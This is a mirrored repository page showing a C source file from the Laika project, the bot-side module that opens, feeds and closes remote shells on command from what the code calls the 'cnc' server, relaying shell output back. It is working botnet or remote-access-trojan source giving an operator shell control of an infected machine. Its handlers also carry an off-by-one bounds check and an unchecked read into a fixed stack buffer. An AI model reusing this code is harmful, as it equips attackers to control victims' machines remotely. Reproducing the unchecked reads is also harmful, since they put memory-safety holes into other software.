mirror of
https://github.com/CPunch/Laika.git
synced 2025-04-05 12:30:07 +00:00
CPunch
63e36d1ebb
- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
106 lines
3.5 KiB
C
106 lines
3.5 KiB
C
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
#include "lerror.h"
|
|
#include "lmem.h"
|
|
#include "bot.h"
|
|
#include "shell.h"
|
|
|
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
|
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
|
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
|
|
|
/* start shell task */
|
|
if (!bot->shellTask)
|
|
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
|
|
|
|
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
|
}
|
|
|
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|
uint32_t id = shell->id;
|
|
|
|
/* tell cnc shell is closed */
|
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
|
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
|
laikaS_endOutPacket(bot->peer);
|
|
|
|
laikaB_freeRAWShell(bot, shell);
|
|
|
|
bot->shells[id] = NULL;
|
|
|
|
if (--bot->activeShells == 0) {
|
|
/* stop shell task */
|
|
laikaT_delTask(&bot->tService, bot->shellTask);
|
|
bot->shellTask = NULL;
|
|
}
|
|
}
|
|
|
|
/* ============================================[[ Packet Handlers ]]============================================= */
|
|
|
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
|
struct sLaika_shell *shell;
|
|
uint32_t id;
|
|
uint16_t cols, rows;
|
|
|
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
|
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
|
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
|
|
|
/* check if shell is already open */
|
|
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
|
|
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
|
|
|
|
/* open shell & if we failed, tell cnc */
|
|
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
|
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
|
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
|
laikaS_endOutPacket(bot->peer);
|
|
}
|
|
}
|
|
|
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
|
struct sLaika_shell *shell;
|
|
uint32_t id;
|
|
|
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
|
|
|
/* check if shell is not running */
|
|
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
|
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
|
|
|
|
/* close shell */
|
|
laikaB_freeShell(bot, shell);
|
|
}
|
|
|
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
|
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
|
struct sLaika_shell *shell;
|
|
uint32_t id;
|
|
|
|
/* read data buf */
|
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
|
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
|
|
|
|
/* sanity check shell */
|
|
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
|
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
|
|
|
/* write to shell */
|
|
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
|
|
}
|
|
|
|
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
|
struct sLaika_shell *shell;
|
|
int i;
|
|
|
|
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
|
if ((shell = bot->shells[i]))
|
|
laikaB_readShell(bot, shell);
|
|
}
|
|
} |